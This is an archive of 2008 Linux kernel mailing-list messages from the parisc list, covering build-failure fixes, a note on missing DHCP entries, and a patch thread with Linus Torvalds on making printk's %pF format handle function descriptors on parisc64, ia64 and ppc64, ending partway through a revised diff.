Subject: Re: linux-next: parisc tree build failure
Date: Mon, 01 Sep 2008 19:48:19 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <s5hfxojep0c.wl%tiwai@suse.de>
References: <20080828115820.d2e4f55b.sfr@canb.auug.org.au>
	<20080828143319.GD6298@phobos.i.cabal.ca>
	<20080902033242.bce78fa0.sfr@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1220291333 6983 80.91.229.12 (1 Sep 2008 17:48:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Sep 2008 17:48:53 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	linux-next@vger.kernel.org
To: Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: linux-next-owner@vger.kernel.org Mon Sep 01 19:49:47 2008
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KaDWm-00015K-HC
	for glkn-linux-next@gmane.org; Mon, 01 Sep 2008 19:49:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750798AbYIARsW (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Mon, 1 Sep 2008 13:48:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751163AbYIARsV
	(ORCPT <rfc822;linux-next-outgoing>); Mon, 1 Sep 2008 13:48:21 -0400
Original-Received: from cantor.suse.de ([195.135.220.2]:52088 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750798AbYIARsV (ORCPT <rfc822;linux-next@vger.kernel.org>);
	Mon, 1 Sep 2008 13:48:21 -0400
Original-Received: from Relay1.suse.de (relay-ext.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id C125241844;
	Mon,  1 Sep 2008 19:48:19 +0200 (CEST)
In-Reply-To: <20080902033242.bce78fa0.sfr@canb.auug.org.au>
User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka)
 FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.2
 (x86_64-suse-linux-gnu) MULE/5.0 (SAKAKI)
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:2717 gmane.linux.ports.parisc:694
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/694>

At Tue, 2 Sep 2008 03:32:42 +1000,
Stephen Rothwell wrote:
> 
> Hi Kyle,
> 
> On Thu, 28 Aug 2008 10:33:19 -0400 Kyle McMartin <kyle@mcmartin.ca> wrote:
> >
> > On Thu, Aug 28, 2008 at 11:58:20AM +1000, Stephen Rothwell wrote:
> > > Hi Kyle,
> > > 
> > > A parisc defconfig build of linux-next (next-20080827) fails like this:
> > > 
> > > sound/parisc/harmony.c:872: error: 'reutrn' undeclared (first use in this function)
> > 
> > You're looking the wrong way... we didn't touch this code...
> 
> Indeed.
> 
> Hi Takashi,
> 
> The above was introduced by commit
> 59112f679b3ace91b5b74b965c4f918c5aa095fe ("ALSA: Kill snd_assert() in
> other places") in the sound tree.

Oops, fixed now.  Thanks!


Takashi

From - Thu Nov 08 21:02:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix typo in arch/parisc/hpux/fs.c
Date: Mon, 01 Sep 2008 22:28:58 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <48BC508A.8000506@gmx.de>
References: <20080902034327.2c66cda5.sfr@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220300968 8039 80.91.229.12 (1 Sep 2008 20:29:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Sep 2008 20:29:28 +0000 (UTC)
Cc: Al Viro <viro@zeniv.linux.org.uk>,
	Linus <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	LKML <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 01 22:30:20 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KaG2M-0000n4-UQ
	for glpp-linux-parisc@gmane.org; Mon, 01 Sep 2008 22:30:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756231AbYIAU3H (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 1 Sep 2008 16:29:07 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1759433AbYIAU3H
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 1 Sep 2008 16:29:07 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:47668 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1759380AbYIAU3F (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 1 Sep 2008 16:29:05 -0400
Original-Received: (qmail invoked by alias); 01 Sep 2008 20:29:03 -0000
Original-Received: from mnhm-590e0b69.pool.einsundeins.de (EHLO halden.box) [89.14.11.105]
  by mail.gmx.net (mp066) with SMTP; 01 Sep 2008 22:29:03 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18lNUhl+iAlNYGKdWL4/KkQZnlKfeisBVM9LyqnSF
	X4dTnWPgJne/Q3
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20080902034327.2c66cda5.sfr@canb.auug.org.au>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.53
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:695 gmane.linux.kernel:728675
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/695>

Stephen Rothwell wrote:
> A parisc allmodconfig build produces this:
> 
> arch/parisc/hpux/fs.c:107: error: 'buffer' undeclared (first use in this function)
> 
> Introduced by commit da574983de9f9283ba35662c8723627096e160de ("[PATCH]
> fix hpux_getdents()").
> 
> Signed-off-by: Stephen Rothwell <sfr@canb.auug.org.au>

Thanks Stephen.
The same bug/patch is already tracked in bugzilla 11461:

Rafael J. Wysocki wrote:
 > This message has been generated automatically as a part of a report
 > of recent regressions.
 >
 > The following bug entry is on the current list of known regressions
 > from 2.6.26.  Please verify if it still should be listed and let me know
 > (either way).
 >
 >
 > Bug-Entry	: http://bugzilla.kernel.org/show_bug.cgi?id=11461
 > Subject		: build breakage
 > Submitter	: Helge Deller <deller@gmx.de>
 > Date		: 2008-08-30 10:34 (1 days old)
 > References	: http://marc.info/?l=linux-kernel&m=122009254918593&w=4
 > Handled-By	: Helge Deller <deller@gmx.de>
 > Patch		: http://marc.info/?l=linux-kernel&m=122009254918593&w=4
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: dhcp problems in cupertino
Date: Wed, 03 Sep 2008 12:35:37 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <1220463337.3254.23.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220463450 5353 80.91.229.12 (3 Sep 2008 17:37:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 3 Sep 2008 17:37:30 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 03 19:38:24 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KawIO-0004vB-Tv
	for glpp-linux-parisc@gmane.org; Wed, 03 Sep 2008 19:37:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755735AbYICRfl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 3 Sep 2008 13:35:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754977AbYICRfk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 3 Sep 2008 13:35:40 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:55899 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755922AbYICRfj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 3 Sep 2008 13:35:39 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 232BC81E9
	for <linux-parisc@vger.kernel.org>; Wed,  3 Sep 2008 12:35:38 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 0CGfZvCHu9GB for <linux-parisc@vger.kernel.org>;
	Wed,  3 Sep 2008 12:35:37 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 751668036
	for <linux-parisc@vger.kernel.org>; Wed,  3 Sep 2008 12:35:37 -0500 (CDT)
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:696
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/696>

It looks like the old dhcp server was converted to dhcp3 without pulling
across all of the dhcp entries.  I've added the gig-e network and and
entry for ion (which I needed to get it to come up).  However, there are
evidently still machines out there trying and failing to get IP
addresses:

Sep  3 10:24:29 gsyprf11 dhcpd: DHCPDISCOVER from 00:17:08:c8:75:40 via eth11: network 192.168.1/24: no free leases
Sep  3 10:36:29 gsyprf11 dhcpd: DHCPDISCOVER from 00:04:ea:b1:cf:80 via eth10: network 192.168.0/24: no free leases

So whoever's systems these are will need to add an entry for them.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel
Subject: [PATCH] Correct printk %pF to work on all architectures
Date: Wed, 03 Sep 2008 15:18:57 -0500
Lines: 151
Approved: news@gmane.org
Message-ID: <1220473137.3254.29.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220473159 9833 80.91.229.12 (3 Sep 2008 20:19:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 3 Sep 2008 20:19:19 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-ia64@vger.kernel.org, linuxppc-dev@ozlabs.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 03 22:20:12 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kaypj-0001Md-SW
	for glpp-linux-parisc@gmane.org; Wed, 03 Sep 2008 22:20:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753135AbYICUTF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 3 Sep 2008 16:19:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752754AbYICUTF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 3 Sep 2008 16:19:05 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:41973 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751416AbYICUTD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 3 Sep 2008 16:19:03 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id C73C68037;
	Wed,  3 Sep 2008 15:18:59 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id QYIB+5yUFWcu; Wed,  3 Sep 2008 15:18:57 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 708327F6D;
	Wed,  3 Sep 2008 15:18:57 -0500 (CDT)
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:697 gmane.linux.kernel.cross-arch:2082 gmane.linux.ports.ia64:19392 gmane.linux.ports.ppc64.devel:46480
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/697>

It was introduced by 

commit 0fe1ef24f7bd0020f29ffe287dfdb9ead33ca0b2
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date:   Sun Jul 6 16:43:12 2008 -0700

    vsprintf: add support for '%pS' and '%pF' pointer formats


However, the current way its coded doesn't work on parisc64.  For two
reasons:  1) parisc isn't in the #ifdef and 2) parisc has a different
format for function descriptors

Make dereference_function_descriptor() more accommodating by allowing
architecture overrides.  I put the three overrides (for parisc64, ppc64
and ia64) in arch/kernel/module.c because that's where the kernel
internal linker which knows how to deal with function descriptors sits.

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
---
 arch/ia64/kernel/module.c       |    9 +++++++++
 arch/parisc/kernel/module.c     |   13 +++++++++++++
 arch/powerpc/kernel/module_64.c |    9 +++++++++
 include/linux/kernel.h          |    3 +++
 lib/vsprintf.c                  |   12 ++++++------
 5 files changed, 40 insertions(+), 6 deletions(-)

diff --git a/arch/ia64/kernel/module.c b/arch/ia64/kernel/module.c
index 29aad34..596a862 100644
--- a/arch/ia64/kernel/module.c
+++ b/arch/ia64/kernel/module.c
@@ -31,6 +31,7 @@
 #include <linux/elf.h>
 #include <linux/moduleloader.h>
 #include <linux/string.h>
+#include <linux/uaccess.h>
 #include <linux/vmalloc.h>
 
 #include <asm/patch.h>
@@ -941,3 +942,11 @@ module_arch_cleanup (struct module *mod)
 	if (mod->arch.core_unw_table)
 		unw_remove_unwind_table(mod->arch.core_unw_table);
 }
+
+void *dereference_function_descriptor(void *ptr)
+{
+	void *p = NULL;
+	if (!probe_kernel_address(ptr, p))
+		ptr = p;
+	return p;
+}
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index fdacdd4..4ad80a5 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -47,6 +47,7 @@
 #include <linux/string.h>
 #include <linux/kernel.h>
 #include <linux/bug.h>
+#include <linux/uaccess.h>
 
 #include <asm/unwind.h>
 
@@ -860,3 +861,15 @@ void module_arch_cleanup(struct module *mod)
 	deregister_unwind_table(mod);
 	module_bug_cleanup(mod);
 }
+
+#ifdef CONFIG_64BIT
+void *dereference_function_descriptor(void *ptr)
+{
+	Elf64_Fdesc *desc = ptr;
+	void *p = NULL;
+
+	if (!probe_kernel_address(&desc->addr, p))
+		ptr = p;
+	return p;
+}
+#endif
diff --git a/arch/powerpc/kernel/module_64.c b/arch/powerpc/kernel/module_64.c
index ee6a298..60e9749 100644
--- a/arch/powerpc/kernel/module_64.c
+++ b/arch/powerpc/kernel/module_64.c
@@ -21,6 +21,7 @@
 #include <linux/err.h>
 #include <linux/vmalloc.h>
 #include <linux/bug.h>
+#include <linux/uaccess.h>
 #include <asm/module.h>
 #include <asm/uaccess.h>
 #include <asm/firmware.h>
@@ -451,3 +452,11 @@ int apply_relocate_add(Elf64_Shdr *sechdrs,
 
 	return 0;
 }
+
+void *dereference_function_descriptor(void *ptr)
+{
+	void *p = NULL;
+	if (!probe_kernel_address(ptr, p))
+		ptr = p;
+	return p;
+}
diff --git a/include/linux/kernel.h b/include/linux/kernel.h
index 2651f80..8ff19b3 100644
--- a/include/linux/kernel.h
+++ b/include/linux/kernel.h
@@ -189,6 +189,9 @@ extern int __kernel_text_address(unsigned long addr);
 extern int kernel_text_address(unsigned long addr);
 struct pid;
 extern struct pid *session_of_pgrp(struct pid *pgrp);
+/* function descriptor handling (if any) */
+extern void *dereference_function_descriptor(void *ptr);
+
 
 #ifdef CONFIG_PRINTK
 asmlinkage int vprintk(const char *fmt, va_list args)
diff --git a/lib/vsprintf.c b/lib/vsprintf.c
index d8d1d11..cffcd95 100644
--- a/lib/vsprintf.c
+++ b/lib/vsprintf.c
@@ -513,13 +513,13 @@ static char *string(char *buf, char *end, char *s, int field_width, int precisio
 	return buf;
 }
 
-static inline void *dereference_function_descriptor(void *ptr)
+/*
+ * Some architectures need special handling for pointers
+ * to functions, which are done via function descriptors
+ * Do a non weak override of this function for them
+ */
+void __weak *dereference_function_descriptor(void *ptr)
 {
-#if defined(CONFIG_IA64) || defined(CONFIG_PPC64)
-	void *p;
-	if (!probe_kernel_address(ptr, p))
-		ptr = p;
-#endif
 	return ptr;
 }
 
-- 
1.5.6.5



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Correct printk %pF to work on all architectures
Date: Wed, 3 Sep 2008 14:22:36 -0700 (PDT)
Lines: 33
Approved: news@gmane.org
Message-ID: <alpine.LFD.1.10.0809031419560.3515@nehalem.linux-foundation.org>
References: <1220473137.3254.29.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1220477008 24222 80.91.229.12 (3 Sep 2008 21:23:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 3 Sep 2008 21:23:28 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-ia64@vger.kernel.org, linuxppc-dev@ozlabs.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Sep 03 23:24:23 2008
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kazps-0006fg-MN
	for glpi-linux-ia64-2@gmane.org; Wed, 03 Sep 2008 23:24:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751086AbYICVXS (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Wed, 3 Sep 2008 17:23:18 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752581AbYICVXS
	(ORCPT <rfc822;linux-ia64-outgoing>); Wed, 3 Sep 2008 17:23:18 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:54679 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751086AbYICVXR (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Wed, 3 Sep 2008 17:23:17 -0400
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id m83LMb3N017081
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 3 Sep 2008 14:22:38 -0700
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id m83LMaHE004592;
	Wed, 3 Sep 2008 14:22:36 -0700
In-Reply-To: <1220473137.3254.29.camel@localhost.localdomain>
User-Agent: Alpine 1.10 (LFD 962 2008-03-14)
X-Spam-Status: No, hits=-5.431 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:19393 gmane.linux.kernel.cross-arch:2083 gmane.linux.ports.parisc:698 gmane.linux.ports.ppc64.devel:46484
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/698>



On Wed, 3 Sep 2008, James Bottomley wrote:
> 
> Make dereference_function_descriptor() more accommodating by allowing
> architecture overrides.

Don't do it like this.

We don't want some stupid useless weak function that is empty on all sane 
platforms.

Just do

	.. declare or create an inline 'parisc_function_descriptor()' ..

	#define dereference_function_descriptor(p) parisc_function_descriptor(p)

in some arch header file. And then use

	#ifndef dereference_function_descriptor
	#define dereference_function_descriptor(p) (p)
	#endif

in the generic code, so that sane architectures don't need to do anything 
at all.

		Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Correct printk %pF to work on all architectures
Date: Wed, 03 Sep 2008 17:42:34 -0500
Lines: 214
Approved: news@gmane.org
Message-ID: <1220481754.3254.42.camel@localhost.localdomain>
References: <1220473137.3254.29.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031419560.3515@nehalem.linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220481767 6783 80.91.229.12 (3 Sep 2008 22:42:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 3 Sep 2008 22:42:47 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-ia64@vger.kernel.org, linuxppc-dev@ozlabs.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 04 00:43:41 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kb14e-0005AR-E5
	for glpp-linux-parisc@gmane.org; Thu, 04 Sep 2008 00:43:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752233AbYICWmi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 3 Sep 2008 18:42:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752079AbYICWmi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 3 Sep 2008 18:42:38 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:50933 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751886AbYICWmh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 3 Sep 2008 18:42:37 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 6FD3E8037;
	Wed,  3 Sep 2008 17:42:35 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id fxAmVXzGFqRO; Wed,  3 Sep 2008 17:42:34 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id D20768036;
	Wed,  3 Sep 2008 17:42:33 -0500 (CDT)
In-Reply-To: <alpine.LFD.1.10.0809031419560.3515@nehalem.linux-foundation.org>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:699 gmane.linux.kernel.cross-arch:2084 gmane.linux.ports.ia64:19394 gmane.linux.ports.ppc64.devel:46487
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/699>

On Wed, 2008-09-03 at 14:22 -0700, Linus Torvalds wrote:
> 
> On Wed, 3 Sep 2008, James Bottomley wrote:
> > 
> > Make dereference_function_descriptor() more accommodating by allowing
> > architecture overrides.
> 
> Don't do it like this.
> 
> We don't want some stupid useless weak function that is empty on all sane 
> platforms.
> 
> Just do
> 
> 	.. declare or create an inline 'parisc_function_descriptor()' ..
> 
> 	#define dereference_function_descriptor(p) parisc_function_descriptor(p)
> 
> in some arch header file. And then use
> 
> 	#ifndef dereference_function_descriptor
> 	#define dereference_function_descriptor(p) (p)
> 	#endif
> 
> in the generic code, so that sane architectures don't need to do anything 
> at all.

Is that finally final?  because the last time I tried to do the above
for a voyager override I was told weak functions were the preferred
method ...

Anyway, it's easy to do (if a slightly larger diff) ... I have to move
the prototype from include/kernel.h to include/module.h because I need
an assured asm/xxx include before it to get the override.

It was also pointed out that I should be returning the passed in ptr,
not NULL on failure and that the return should be ptr not p.

James

---

The current way its coded doesn't work on parisc64.  For two
reasons:  1) parisc isn't in the #ifdef and 2) parisc has a different
format for function descriptors

Make dereference_function_descriptor() more accommodating by allowing
architecture overrides.

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
---
 arch/ia64/include/asm/module.h    |    4 ++++
 arch/ia64/kernel/module.c         |    9 +++++++++
 arch/parisc/kernel/module.c       |   13 +++++++++++++
 arch/powerpc/include/asm/module.h |    6 ++++++
 arch/powerpc/kernel/module_64.c   |    9 +++++++++
 include/asm-parisc/module.h       |    6 ++++++
 include/linux/module.h            |    5 +++++
 lib/vsprintf.c                    |   10 ----------
 8 files changed, 52 insertions(+), 10 deletions(-)

diff --git a/arch/ia64/include/asm/module.h b/arch/ia64/include/asm/module.h
index d2da61e..d0328be 100644
--- a/arch/ia64/include/asm/module.h
+++ b/arch/ia64/include/asm/module.h
@@ -33,4 +33,8 @@ struct mod_arch_specific {
 
